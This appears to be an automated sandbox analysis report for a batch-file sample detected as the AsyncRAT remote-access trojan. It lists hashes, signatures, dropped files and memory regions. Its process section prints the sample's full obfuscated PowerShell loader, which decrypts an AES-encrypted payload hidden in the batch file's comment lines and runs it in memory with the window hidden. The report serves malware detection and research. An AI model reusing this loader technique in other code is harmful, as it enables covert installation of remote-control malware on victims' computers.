Overview

overview

10

Static

static

vb.bat

windows7-x64

8

vb.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    132s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-01-2023 05:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    vb.bat

  • Size

    49KB

  • MD5

    6f5df197740503ef41d815c9366c665b

  • SHA1

    05d2eb5d6dc5255f15679089a01a1c091e7564db

  • SHA256

    37073ac11600c6c5d053cb537a5be9a4153f5b8720645b8852ba882f58a0510b

  • SHA512

    cea369f2130fe84f02dcb2eab43c7bccaa14a97305a80c31b7013d436651e1cd7b3216b2407333dd99b4111d01b2bb129a621f22cdf760c446154ece12a86bca

  • SSDEEP

    768:i3cYe7RNiqxH5VnLrd+hwoin6XY+kaVKgsvi8nMPj7YTwE3Bs52Hz4Cd8y:i9wyqxDLr6kaVRbKweByaF8y

Score
10/10
asyncratrat

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

    ratasyncrat
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vb.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\Users\Admin\AppData\Local\Temp\vb.bat.exe
      "vb.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $qqyMV = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\vb.bat').Split([Environment]::NewLine);foreach ($ICMlF in $qqyMV) { if ($ICMlF.StartsWith(':: ')) { $IBnmy = $ICMlF.Substring(3); break; }; };$AdBjf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IBnmy);$ruWiS = New-Object System.Security.Cryptography.AesManaged;$ruWiS.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ruWiS.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ruWiS.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h8tmMOXTbP0K73mnEEbNk0vFx/55iFdu0OSzcb3a/ds=');$ruWiS.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JidxI5QL6Wi/mgR0o3b2Ew==');$dZVTP = $ruWiS.CreateDecryptor();$AdBjf = $dZVTP.TransformFinalBlock($AdBjf, 0, $AdBjf.Length);$dZVTP.Dispose();$ruWiS.Dispose();$fpJAU = New-Object System.IO.MemoryStream(, $AdBjf);$pIUUN = New-Object System.IO.MemoryStream;$qKnNZ = New-Object System.IO.Compression.GZipStream($fpJAU, [IO.Compression.CompressionMode]::Decompress);$qKnNZ.CopyTo($pIUUN);$qKnNZ.Dispose();$fpJAU.Dispose();$pIUUN.Dispose();$AdBjf = $pIUUN.ToArray();$NqisE = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AdBjf);$mKjMY = $NqisE.EntryPoint;$mKjMY.Invoke($null, (, [string[]] ('')))
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4976

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\vb.bat.exe
    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\vb.bat.exe
    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

    Download Submit

  • memory/4976-132-0x0000000000000000-mapping.dmp

    Download

  • memory/4976-134-0x0000028974CF0000-0x0000028974D12000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4976-136-0x00007FFC66180000-0x00007FFC66C41000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4976-137-0x00007FFC66180000-0x00007FFC66C41000-memory.dmp

    Filesize

    10.8MB

    Download